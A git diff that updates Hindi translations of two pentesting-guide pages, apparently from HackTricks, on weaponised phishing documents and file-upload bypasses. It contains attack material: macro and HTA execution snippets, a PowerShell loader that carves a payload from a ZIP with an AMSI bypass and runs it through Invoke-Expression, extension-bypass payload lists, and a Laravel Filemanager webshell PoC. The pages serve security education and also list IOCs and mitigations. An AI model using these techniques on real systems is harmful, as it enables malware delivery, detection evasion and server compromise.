diff --git a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md index cd98cb0f2..1382b920f 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md @@ -4,21 +4,21 @@ ## Office Documents -Microsoft Word किसी फ़ाइल को खोलने से पहले फ़ाइल डेटा का डेटा सत्यापन (data validation) करता है। डेटा सत्यापन डेटा संरचना की पहचान के रूप में OfficeOpenXML standard के विरुद्ध किया जाता है। यदि डेटा संरचना की पहचान के दौरान कोई त्रुटि होती है, तो जो फ़ाइल विश्लेषित की जा रही है वह नहीं खोली जाएगी। +Microsoft Word फ़ाइल खोलने से पहले फ़ाइल डेटा सत्यापन करता है। डेटा सत्यापन OfficeOpenXML मानक के विरुद्ध डेटा संरचना पहचान के रूप में किया जाता है। यदि डेटा संरचना पहचान के दौरान कोई त्रुटि होती है, तो विश्लेषण की जा रही फ़ाइल नहीं खोली जाएगी। -आमतौर पर, macros वाली Word फ़ाइलें `.docm` एक्सटेंशन का उपयोग करती हैं। हालाँकि, फ़ाइल का एक्सटेंशन बदलकर फ़ाइल का नाम बदलने पर भी उनकी macro execute करने की क्षमताएँ बनी रह सकती हैं.\ -उदाहरण के लिए, एक RTF फ़ाइल डिज़ाइन के अनुसार macros को सपोर्ट नहीं करती, पर यदि एक DOCM फ़ाइल का नाम बदलकर RTF कर दिया जाए तो Microsoft Word उसे हैंडल करेगा और वह macro execution में सक्षम होगी.\ +आमतौर पर, Word फ़ाइलें जिनमें macros होते हैं वे `.docm` एक्सटेंशन का उपयोग करती हैं। हालांकि, फ़ाइल एक्सटेंशन बदलकर फ़ाइल का नाम बदलना संभव है और फिर भी उनकी macro executing capabilities को बनाए रखा जा सकता है.\ +उदाहरण के लिए, एक RTF फ़ाइल डिज़ाइन के अनुसार macros को सपोर्ट नहीं करती, लेकिन एक DOCM फ़ाइल जिसे RTF में नाम बदला गया है, Microsoft Word द्वारा संभाली जाएगी और macro execution के लिए सक्षम होगी.\ यही आंतरिक संरचनाएँ और तंत्र Microsoft Office Suite (Excel, PowerPoint etc.) के सभी सॉफ़्टवेयर पर लागू होते हैं। You can use the following command to check which extensions are going to be executed by some Office programs: ```bash assoc | findstr /i "word excel powerp" ``` -macros शामिल करने वाला रिमोट टेम्पलेट संदर्भित करने वाली DOCX फाइलें भी macros “execute” कर सकती हैं। +macros शामिल करने वाले रिमोट टेम्पलेट को संदर्भित करने वाली DOCX फ़ाइलें (File –Options –Add-ins –Manage: Templates –Go) भी macros को “execute” कर सकती हैं। -### बाहरी इमेज लोड +### External Image Load -जाएँ: _Insert --> Quick Parts --> Field_\ +Go to: _Insert --> Quick Parts --> Field_\ _**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http:///whatever ![](<../../images/image (155).png>) @@ -29,7 +29,7 @@ _**Categories**: Links and References, **Filed names**: includePicture, and **Fi #### Autoload functions -जितने अधिक सामान्य वे होते हैं, AV द्वारा उनका पता लगने की संभावना उतनी ही अधिक होती है। +जो अधिक सामान्य होंगे, उतनी ही अधिक संभावना है कि AV उन्हें detect कर लेगा। - AutoOpen() - Document_Open() @@ -64,26 +64,26 @@ Dim proc As Object Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process") proc.Create "powershell ``` -#### मैन्युअली मेटाडेटा हटाएँ +#### मैन्युअल रूप से मेटाडेटा हटाएँ -**File > Info > Inspect Document > Inspect Document** पर जाएँ, जिससे Document Inspector खुलेगा। **Inspect** पर क्लिक करें और फिर **Remove All** पर क्लिक करें जो **Document Properties and Personal Information** के पास है। +Go to **File > Info > Inspect Document > Inspect Document**, जो Document Inspector खोलेगा। **Inspect** पर क्लिक करें और फिर **Document Properties and Personal Information** के बगल में **Remove All** पर क्लिक करें। -#### Doc एक्सटेंशन +#### Doc Extension -समाप्त होने पर, **Save as type** ड्रॉपडाउन चुनें, फॉर्मेट को **`.docx`** से बदलकर **Word 97-2003 `.doc`** करें।\ -ऐसा इसलिए करें क्योंकि आप **can't save macro's inside a `.docx`** और macro-enabled **`.docm`** एक्सटेंशन के आसपास एक **stigma** है (उदा. थंबनेल आइकन पर बड़ा `!` होता है और कुछ वेब/ईमेल गेटवे इन्हें पूरी तरह ब्लॉक कर देते हैं)। इसलिए, यह **legacy `.doc` extension सबसे अच्छा compromise** है। +When finished, select **Save as type** dropdown, change the format from **`.docx`** to **Word 97-2003 `.doc`**.\ +Do this because you **can't save macro's inside a `.docx`** and there's a **stigma** **around** the macro-enabled **`.docm`** extension (e.g. the thumbnail icon has a huge `!` and some web/email gateway block them entirely). Therefore, this **legacy `.doc` extension is the best compromise**. -#### Malicious Macros जनरेटर +#### दुर्भावनापूर्ण Macros जनरेटर - MacOS - [**macphish**](https://github.com/cldrn/macphish) - [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator) -## HTA फाइलें +## HTA फ़ाइलें -HTA एक Windows प्रोग्राम है जो **HTML और scripting languages (such as VBScript and JScript)** को मिलाता है। यह यूजर इंटरफ़ेस जनरेट करता है और ब्राउज़र की सुरक्षा मॉडल की बाधाओं के बिना "fully trusted" एप्लिकेशन के रूप में execute होता है। +HTA एक Windows प्रोग्राम है जो **HTML और scripting languages (such as VBScript and JScript)** को मिलाता है। यह यूज़र इंटरफ़ेस बनाता है और ब्राउज़र की सुरक्षा मॉडल की सीमाओं के बिना "fully trusted" एप्लिकेशन के रूप में चलता है। -HTA को **`mshta.exe`** का उपयोग करके execute किया जाता है, जो आमतौर पर **Internet Explorer** के साथ **installed** होता है, जिससे **`mshta` dependant on IE** बन जाता है। इसलिए अगर यह uninstall किया गया है, तो HTAs execute नहीं कर पाएँगे। +HTA को **`mshta.exe`** का उपयोग करके चलाया जाता है, जो आमतौर पर **Internet Explorer** के साथ **installed** रहता है, जिससे **`mshta` dependant on IE** हो जाता है। इसलिए यदि इसे uninstall कर दिया गया है, तो HTAs चलाने में असमर्थ होंगे। ```html <--! Basic HTA Execution --> @@ -140,9 +140,9 @@ self.close ``` ## NTLM प्रमाणीकरण मजबूर करना -NTLM प्रमाणीकरण को "remotely" मजबूर करने के कई तरीके हैं, उदाहरण के लिए, आप ईमेल या HTML में **अदृश्य छवियाँ** जोड़ सकते हैं जिन्हें उपयोगकर्ता एक्सेस करेगा (यहाँ तक कि HTTP MitM?). या शिकार को उन फ़ाइलों का **address** भेजें जो सिर्फ फ़ोल्डर खोलने भर से ही एक **authentication** को **trigger** कर दें। +NTLM प्रमाणीकरण को **"remotely" मजबूर करने** के कई तरीके हैं; उदाहरण के लिए, आप उपयोगकर्ता द्वारा एक्सेस किए जाने वाले **invisible images** को emails या HTML में जोड़ सकते हैं (यहां तक कि HTTP MitM?). या शिकार को उन फाइलों का **address** भेजें जो केवल फोल्डर खोलने भर से ही एक **authentication** को **trigger** कर दें। -**इन विचारों और और अधिक के लिए निम्न पृष्ठ देखें:** +**इन विचारों और अधिक के लिए निम्न पृष्ठ देखें:** {{#ref}} @@ -156,24 +156,24 @@ NTLM प्रमाणीकरण को "remotely" मजबूर करन ### NTLM Relay -याद रखें कि आप सिर्फ hash या authentication चुरा ही नहीं सकते बल्कि **NTLM relay attacks** भी **perform** कर सकते हैं: +यह मत भूलिए कि आप केवल हैश या प्रमाणीकरण चोरी ही नहीं कर सकते, बल्कि **perform NTLM relay attacks** भी कर सकते हैं: - [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack) - [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8) ## LNK Loaders + ZIP-Embedded Payloads (fileless chain) -बहुत प्रभावी अभियान एक ऐसा ZIP भेजते हैं जिसमें दो वैध भ्रामक दस्तावेज़ (PDF/DOCX) और एक दुष्ट .lnk शामिल होता है। चाल यह है कि वास्तविक PowerShell loader ZIP के raw bytes में एक unique marker के बाद संग्रहीत होता है, और .lnk उसे carve करके पूरी तरह memory में चलाता है। +बहुत प्रभावी campaigns एक ZIP भेजते हैं जिसमें दो वैध decoy दस्तावेज़ (PDF/DOCX) और एक malicious .lnk होता है। चाल यह है कि असली PowerShell loader ZIP के raw bytes में एक unique marker के बाद संचित रहता है, और .lnk उसे carve करके पूरी तरह memory में चला देता है। -.slnk PowerShell one-liner द्वारा लागू किया गया सामान्य प्रवाह: +एक आम फ़्लो जो .lnk PowerShell one-liner द्वारा लागू होता है: -1) मूल ZIP को सामान्य पथों में ढूँढें: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, और current working directory का parent। -2) ZIP bytes पढ़ें और एक hardcoded marker खोजें (उदा., xFIQCV)। marker के बाद जो कुछ भी है वही embedded PowerShell payload है। -3) ZIP को %ProgramData% में कॉपी करें, वहाँ extract करें, और वैध दिखने के लिए decoy .docx खोलें। -4) current process के लिए AMSI को बायपास करें: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true -5) अगले चरण का deobfuscate करें (उदा., सभी # वर्ण हटा दें) और उसे memory में execute करें। +1) मूल ZIP को सामान्य paths में ढूँढें: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, और वर्तमान working directory का parent। +2) ZIP bytes पढ़ें और एक hardcoded marker ढूँढें (उदा., xFIQCV). marker के बाद सब कुछ embedded PowerShell payload होता है। +3) ZIP को %ProgramData% में copy करें, वहाँ extract करें, और वैध दिखने के लिए decoy .docx खोलें। +4) वर्तमान process के लिए AMSI को bypass करें: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true +5) अगले चरण को deobfuscate करें (उदा., सभी # कैरैक्टर हटाना) और उसे memory में execute करें। -एंबेडेड स्टेज को carve और चलाने के लिए उदाहरण PowerShell ढांचा: +Example PowerShell skeleton to carve and run the embedded stage: ```powershell $marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV') $paths = @( @@ -191,25 +191,25 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#','' Invoke-Expression $code ``` नोट्स -- Delivery अक्सर प्रतिष्ठित PaaS सबडोमेन्स (e.g., *.herokuapp.com) का दुरुपयोग करता है और payloads को gate कर सकता है (IP/UA के आधार पर benign ZIPs सर्व करता है)। -- अगला चरण अक्सर base64/XOR shellcode डिक्रिप्ट करता है और इसे Reflection.Emit + VirtualAlloc के माध्यम से execute करता है ताकि डिस्क आर्टिफैक्ट्स कम हों। +- डिलीवरी अक्सर प्रतिष्ठित PaaS subdomains (e.g., *.herokuapp.com) का दुरुपयोग करती है और payloads को gate कर सकती है (IP/UA के आधार पर benign ZIPs परोसना)। +- अगला चरण अक्सर base64/XOR shellcode को decrypt करता है और disk artifacts को कम करने के लिए Reflection.Emit + VirtualAlloc के माध्यम से execute करता है। Persistence used in the same chain -- COM TypeLib hijacking of the Microsoft Web Browser control ताकि IE/Explorer या कोई भी app जो इसे embedding करता है payload को स्वतः पुनः लॉन्च कर दे। विवरण और ready-to-use commands यहाँ देखें: +- COM TypeLib hijacking of the Microsoft Web Browser control ताकि IE/Explorer या इसे embed करने वाला कोई भी app payload को स्वतः पुन: लॉन्च कर दे। विवरण और ready-to-use commands यहाँ देखें: {{#ref}} ../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md {{#endref}} Hunting/IOCs -- ऐसे ZIP files जिनमें ASCII marker string (e.g., xFIQCV) archive data के अंत में append की गई हो। -- .lnk जो parent/user folders को enumerate करता है ताकि ZIP locate कर सके और एक decoy document खोले। +- archive data के अंत में appended ASCII marker string (उदा., xFIQCV) वाले ZIP files। +- .lnk जो parent/user folders को enumerate करता है ताकि ZIP locate कर सके और एक decoy document खोलता है। - AMSI tampering via [System.Management.Automation.AmsiUtils]::amsiInitFailed. -- लंबे समय तक चलने वाले business threads जो trusted PaaS domains पर host किए गए links पर समाप्त होते हैं। +- trusted PaaS domains के अंतर्गत host किए गए links के साथ समाप्त होने वाले long-running business threads। -## NTLM हैश चुराने के लिए Windows फ़ाइलें +## Windows files to steal NTLM hashes -इस पेज को देखें: **places to steal NTLM creds**: +Check the page about **places to steal NTLM creds**: {{#ref}} ../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md index e8c7be367..099fded86 100644 --- a/src/pentesting-web/file-upload/README.md +++ b/src/pentesting-web/file-upload/README.md @@ -1,13 +1,13 @@ -# फाइल अपलोड +# फ़ाइल अपलोड {{#include ../../banners/hacktricks-training.md}} -## फाइल अपलोड सामान्य कार्यप्रणाली +## फ़ाइल अपलोड सामान्य कार्यप्रणाली -Other useful extensions: +अन्य उपयोगी एक्सटेंशन्स: - **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_ -- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_ +- **PHPv8 में काम करना**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_ - **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_ - **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_ - **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_ @@ -15,13 +15,13 @@ Other useful extensions: - **Perl**: _.pl, .cgi_ - **Erlang Yaws Web Server**: _.yaws_ -### Bypass file extensions checks +### फ़ाइल एक्सटेंशन चेक बायपास करें -1. यदि लागू हो, तो **पहले बताए गए एक्सटेंशन्स** की जाँच करें। इन्हें कुछ **uppercase letters** के साथ भी टेस्ट करें: _pHp, .pHP5, .PhAr ..._ -2. _जाँचें **execution extension के पहले एक valid extension जोड़ने** से क्या होता है (पिछले एक्सटेंशन भी उपयोग करें):_ +1. यदि लागू होते हैं, तो **पिछले एक्सटेंशन्स** की **जाँच** करें। साथ ही कुछ **uppercase letters** का उपयोग करके भी परीक्षण करें: _pHp, .pHP5, .PhAr ..._ +2. _एक वैध एक्सटेंशन को execution एक्सटेंशन से पहले **जोड़कर जांचें** (पिछले एक्सटेंशन्स का भी उपयोग करें):_ - _file.png.php_ - _file.png.Php5_ -3. अंत में **विशेष अक्षर** जोड़ने की कोशिश करें। आप Burp का उपयोग करके सभी **ascii** और **Unicode** अक्षरों को **bruteforce** कर सकते हैं। (_टिप: आप **पहले बताए गए** एक्सटेंशन्स का भी उपयोग कर सकते हैं_) +3. अंत में **विशेष वर्ण** जोड़कर प्रयास करें। आप Burp का उपयोग करके सभी **ascii** और **Unicode** वर्णों को **bruteforce** कर सकते हैं। (_ध्यान दें कि आप पहले बताये गए **extensions** का भी उपयोग कर सकते हैं_) - _file.php%20_ - _file.php%0a_ - _file.php%00_ @@ -31,7 +31,7 @@ Other useful extensions: - _file._ - _file.php...._ - _file.pHp5...._ -4. सर्वर-साइड के **extension parser** को धोखा देकर सुरक्षा को बायपास करने की कोशिश करें — जैसे **extension को डबल करना** या extensions के बीच **junk** डेटा (**null** bytes) जोड़ना। _बेहतर payload तैयार करने के लिए आप **पहले बताए गए** एक्सटेंशन्स का भी उपयोग कर सकते हैं।_ +4. सर्वर-साइड के एक्सटेंशन पार्सर को धोखा देकर सुरक्षा को बायपास करने की कोशिश करें, जैसे एक्सटेंशन को **दोहराना** या एक्सटेंशन्स के बीच **जंक** डेटा (**null** bytes) जोड़ना। _बेहतर payload तैयार करने के लिए आप **पिछले एक्सटेंशन्स** का भी उपयोग कर सकते हैं।_ - _file.png.php_ - _file.png.pHp5_ - _file.php#.png_ @@ -40,13 +40,13 @@ Other useful extensions: - _file.php%0a.png_ - _file.php%0d%0a.png_ - _file.phpJunk123png_ -5. पिछले चेक में **एक और एक्सटेंशन स्तर** जोड़ें: +5. पिछले चेक में **एक और लेयर एक्सटेंशन्स** जोड़ें: - _file.png.jpg.php_ - _file.php%00.png%00.jpg_ -6. कोशिश करें कि **exec extension को valid extension के पहले** रखें और उम्मीद करें कि सर्वर misconfigured है। (यह Apache misconfigurations का फायदा उठाने में उपयोगी है जहाँ किसी भी फ़ाइल जिसका extension **.php** हो, भले ही वह _ending_ में `.php` न हो, code execute कर सकती है): +6. **exec extension** को वैध एक्सटेंशन से पहले रखने की कोशिश करें और आशा करें कि सर्वर गलत कॉन्फ़िगर है। (Apache misconfigurations को exploit करने में उपयोगी जहाँ किसी भी चीज़ के साथ extension** _**.php**_**, लेकिन** जरुरी नहीं कि .php पर खत्म हो** कोड execute कर सकती है): - _ex: file.php.png_ -7. **Windows** में **NTFS alternate data stream (ADS)** का उपयोग करें। इस मामले में, एक colon character ":" को एक forbidden extension के बाद और एक permitted extension से पहले डाल दिया जाएगा। परिणामस्वरूप, सर्वर पर एक **खाली फ़ाइल जिसकी extension forbidden है** बनाई जा सकती है (उदा. "file.asax:.jpg”). इस फ़ाइल को बाद में अन्य तकनीकों से edit किया जा सकता है, जैसे इसकी short filename का उपयोग करना। "**::$data**” पैटर्न का उपयोग non-empty फ़ाइलें बनाने के लिए भी किया जा सकता है। इसलिए इस पैटर्न के बाद एक dot character जोड़ना आगे की रोकथामों को बायपास करने में उपयोगी हो सकता है (उदा. "file.asp::$data.”) -8. filename limits को तोड़ने की कोशिश करें। valid extension कट जाती है और malicious PHP बच जाता है. AAA<--SNIP-->AAA.php +7. **Windows** में **NTFS alternate data stream (ADS)** का उपयोग करें। इस मामले में, एक colon character ":" को एक प्रतिबंधित एक्सटेंशन के बाद और एक अनुमत एक्सटेंशन से पहले डाला जाएगा। परिणामस्वरूप, सर्वर पर एक **खाली फ़ाइल जो प्रतिबंधित एक्सटेंशन के साथ है** बनाई जा सकती है (उदा. "file.asax:.jpg”). इस फ़ाइल को बाद में अन्य तकनीकों का उपयोग करके संपादित किया जा सकता है जैसे कि इसकी short filename का उपयोग। "**::$data**” पैटर्न का उपयोग गैर-खाली फ़ाइलें बनाने के लिए भी किया जा सकता है। इसलिए, इस पैटर्न के बाद एक डॉट चरित्र जोड़ना आगे की सीमाओं को बायपास करने में भी उपयोगी हो सकता (उदा. "file.asp::$data.”) +8. फ़ाइलनाम की सीमा तोड़ने की कोशिश करें। वैध एक्सटेंशन कट सकता है और malicious PHP बच सकता है। AAA<--SNIP-->AAA.php ``` # Linux maximum 255 bytes @@ -61,11 +61,11 @@ AAA<--SNIP 232 A-->AAA.php.png #### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546 -कुछ upload handlers saved filename से trailing dot characters को trim या normalize कर देते हैं। UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) के 2.9.1 से पहले के संस्करणों में, आप extension validation को निम्न तरीके से बायपास कर सकते हैं: +कुछ upload handlers saved filename से trailing dot characters को trim या normalize करते हैं। UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) के 2.9.1 से पहले के वर्शन में, आप extension validation को बायपास कर सकते हैं: -- एक valid image MIME और magic header का उपयोग करें (उदा., PNG’s `\x89PNG\r\n\x1a\n`)। -- अपलोड की गई फ़ाइल का नाम PHP extension के बाद एक dot जोड़कर रखें, उदाहरण के लिए `shell.php.`। -- सर्वर trailing dot को हटा देता है और `shell.php` को persist कर देता है, जो कि web-served directory में रखा जाए (डिफ़ॉल्ट public storage जैसे `/storage/files/`) तो execute होगा। +- एक वैध image MIME और magic header का उपयोग करें (उदा., PNG’s `\x89PNG\r\n\x1a\n`)। +- अपलोड की गई फ़ाइल का नाम PHP extension के बाद एक डॉट के साथ रखें, जैसे `shell.php.`। +- सर्वर trailing dot को हटा देता है और `shell.php` को persist कर देता है, जो कि वेब-सेव्ड डायरेक्टरी (डिफ़ॉल्ट public storage जैसे `/storage/files/`) में रखा गया हो तो execute होगा। Minimal PoC (Burp Repeater): ```http @@ -80,65 +80,65 @@ Content-Type: image/png \x89PNG\r\n\x1a\n ------WebKitFormBoundary-- ``` -फिर सहेजे गए path को हिट करें (Laravel + LFM में सामान्यतः): +फिर hit the saved path (typical in Laravel + LFM): ``` GET /storage/files/0xdf.php?cmd=id ``` -Mitigations: -- unisharp/laravel-filemanager को ≥ 2.9.1 में अपग्रेड करें. -- कड़े server-side allowlists लागू करें और persisted filename को पुनः validate करें. -- uploads को non-executable स्थानों से serve करें. +निवारक उपाय: +- unisharp/laravel-filemanager को ≥ 2.9.1 में अपग्रेड करें। +- सख्त server-side allowlists लागू करें और persisted filename को पुनः सत्यापित करें। +- अपलोड्स को non-executable स्थानों से सर्व करें। ### Content-Type, Magic Number, Compression & Resizing को बायपास करना -- **Content-Type** जांच को बायपास करने के लिए **Content-Type** **header** के **value** को सेट करें: _image/png_, _text/plain_, application/octet-stream +- **Content-Type** checks को बायपास करने के लिए **Content-Type** **header** के **value** को सेट करें: _image/png_ , _text/plain , application/octet-stream_ 1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) -- **magic number** चेक को बायपास करने के लिए फाइल की शुरुआत में एक वास्तविक image के **bytes** जोड़ें ( _file_ कमांड को भ्रमित करें)। या shell को **metadata** के अंदर डालें:\ +- **magic number** check को बायपास करने के लिए फ़ाइल की शुरुआत में **एक असली image के bytes** जोड़ें ( _file_ command को भ्रमित करने के लिए)। या shell को **metadata** में डालें:\ `exiftool -Comment="' >> img.png` -- यदि आपकी image पर **compression** जोड़ी जा रही है, उदाहरण के लिए कुछ standard PHP libraries जैसे [PHP-GD](https://www.php.net/manual/fr/book.image.php) का उपयोग करके, तो पिछले तरीके उपयोगी नहीं होंगे। हालांकि, आप **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर सकते हैं ताकि कुछ टेक्स्ट insert किया जा सके जो **compression में बच जाए**। +- अगर आपकी image पर **compression add** की जा रही है, जैसे PHP-GD जैसी standard PHP libraries का उपयोग करके, तो ऊपर की तकनीकें उपयोगी नहीं होंगी। हालाँकि, आप **PLTE chunk** का उपयोग कर सकते हैं [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) ताकि ऐसा कुछ text insert किया जा सके जो **compression में टिके**। - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) -- वेब पेज image को **resizing** भी कर सकता है, उदाहरण के लिए PHP-GD के `imagecopyresized` या `imagecopyresampled` का उपयोग करके। हालांकि, आप **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर कुछ टेक्स्ट डाल सकते हैं जो **compression में बच जाए**। +- वेब पेज image को **resizing** भी कर सकता है, उदाहरण के लिए PHP-GD functions `imagecopyresized` या `imagecopyresampled` का उपयोग करके। फिर भी, आप **IDAT chunk** का उपयोग कर सकते हैं [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) ताकि ऐसा कुछ text insert किया जा सके जो **compression में टिके**। - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) -- एक और तकनीक ऐसी payload बनाने की है जो image resizing में **बच जाए**, PHP-GD के `thumbnailImage` फ़ंक्शन का उपयोग करते हुए। आप **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर कुछ टेक्स्ट insert कर सकते हैं जो **compression में बच जाए**। +- एक और तकनीक जिससे payload image resizing में **बची रहे**, PHP-GD function `thumbnailImage` का उपयोग करते हुए बनाई जा सकती है। फिर भी, आप **tEXt chunk** का उपयोग कर सकते हैं [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) ताकि ऐसा कुछ text insert किया जा सके जो **compression में टिके**। - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) -### अन्य ट्रिक्स जांचने के लिए +### अन्य जाँच के ट्रिक्स -- पहले से अपलोड की गई फ़ाइल का extension बदलने के लिए उसे **rename** करने की vulnerability खोजें। -- backdoor को execute करने के लिए **Local File Inclusion** vulnerability खोजें। -- **Possible Information disclosure**: -1. एक ही फ़ाइल को **कई बार** (और **एक ही समय** में) **उसी नाम** के साथ अपलोड करें। -2. किसी फ़ाइल या फ़ोल्डर के **नाम** वाला एक फ़ाइल अपलोड करें जो **पहले से मौजूद** हो। -3. ऐसी फ़ाइल अपलोड करना जिसका नाम **"." , "..", or "…"** हो। उदाहरण के लिए, Apache में **Windows** पर, यदि एप्लिकेशन अपलोड की गई फाइलों को "/www/uploads/" डायरेक्टरी में सेव करता है, तो "." filename "/www/" डायरेक्टरी में uploads” नाम की फ़ाइल बना देगा। -4. ऐसी फ़ाइल अपलोड करें जिसे आसानी से हटाया न जा सके, जैसे **"…:.jpg"** in **NTFS**। (Windows) -5. **Windows** में ऐसे invalid characters जैसे `|<>*?”` वाले नाम के साथ फ़ाइल अपलोड करें। (Windows) -6. **Windows** में reserved (forbidden) **names** जैसे CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9 का उपयोग करके फ़ाइल अपलोड करें। -- कोशिश करें **upload an executable** (.exe) या एक **.html** (कम संदिग्ध) अपलोड करने की जो गलती से victim द्वारा खोले जाने पर **कोड execute करेगा**। +- पहले से अपलोड की गई फ़ाइल का नाम बदलने (extension बदलने) की vulnerability खोजें। +- backdoor को execute करने के लिए किसी **Local File Inclusion** vulnerability को खोजें। +- **संभव सूचना प्रकटीकरण**: +1. एक ही फ़ाइल को **कई बार** (और **एक ही समय पर**) उसी **नाम** के साथ अपलोड करें। +2. किसी फ़ाइल या फ़ोल्डर के **नाम** के साथ फ़ाइल अपलोड करें जो पहले से मौजूद हो। +3. फ़ाइल का नाम `"." , "..", या "…"` रखें। उदाहरण के लिए, Apache में **Windows** पर, यदि एप्लीकेशन "/www/uploads/" directory में अपलोड फाइलें सेव करती है, तो "." filename "/www/" directory में एक फ़ाइल बनाएगा जिसका नाम uploads” होगा। +4. ऐसी फ़ाइल अपलोड करें जिसे आसानी से delete न किया जा सके, जैसे **"…:.jpg"** in **NTFS**। (Windows) +5. **Windows** में फ़ाइल का नाम invalid characters जैसे `|<>*?”` रखें। (Windows) +6. **Windows** में reserved (forbidden) names जैसे CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, और LPT9 का उपयोग करके फ़ाइल अपलोड करने की कोशिश करें। +- यह भी कोशिश करें कि कोई **executable** (.exe) या एक कम शक वाली **.html** फ़ाइल अपलोड करें जो victim द्वारा गलती से खोली जाने पर **code execute** कर दे। ### Special extension tricks -यदि आप **PHP server** पर फाइलें अपलोड करने की कोशिश कर रहे हैं, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ -यदि आप **ASP server** पर फाइलें अपलोड करने की कोशिश कर रहे हैं, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). +यदि आप **PHP server** पर फाइलें अपलोड करने की कोशिश कर रहे हैं, तो code execute करने के लिए [**.htaccess** trick देखें](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ +यदि आप **ASP server** पर फाइलें अपलोड करने की कोशिश कर रहे हैं, तो code execute करने के लिए [**.config** trick देखें](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). -`.phar` फाइलें java के लिए `.jar` जैसी होती हैं, लेकिन php के लिए, और इन्हें **php फ़ाइल की तरह उपयोग किया जा सकता है** (php से execute करना, या किसी script में include करना...)। +`.phar` फाइलें `.jar` की तरह होती हैं (java के लिए), लेकिन php के लिए, और इन्हें **php file** की तरह उपयोग किया जा सकता है (php से execute करना, या किसी script में include करना...)। -`.inc` extension कभी-कभी उन php फाइलों के लिए उपयोग किया जाता है जो केवल फाइलें **import** करने के लिए हैं, इसलिए, किसी बिंदु पर, किसी ने इस **extension को execute होने की अनुमति** दी हो सकती है। +`.inc` extension कभी-कभी php फाइलों के लिए उपयोग किया जाता है जो सिर्फ import के लिए होते हैं, इसलिए किसी बिंदु पर किसी ने इस extension को execute करने की अनुमति दी हो सकती है। ## **Jetty RCE** -यदि आप Jetty server में एक XML फ़ाइल अपलोड कर सकते हैं तो आप [RCE because **new *.xml and *.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1) प्राप्त कर सकते हैं। जैसा कि निम्न चित्र में बताया गया है, XML फ़ाइल को `$JETTY_BASE/webapps/` में अपलोड करें और shell की उम्मीद करें! +यदि आप Jetty server में कोई XML फ़ाइल अपलोड कर पाते हैं तो आप [RCE प्राप्त कर सकते हैं क्योंकि **new *.xml and *.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**।** जैसा कि नीचे की image में बताया गया है, XML फ़ाइल को 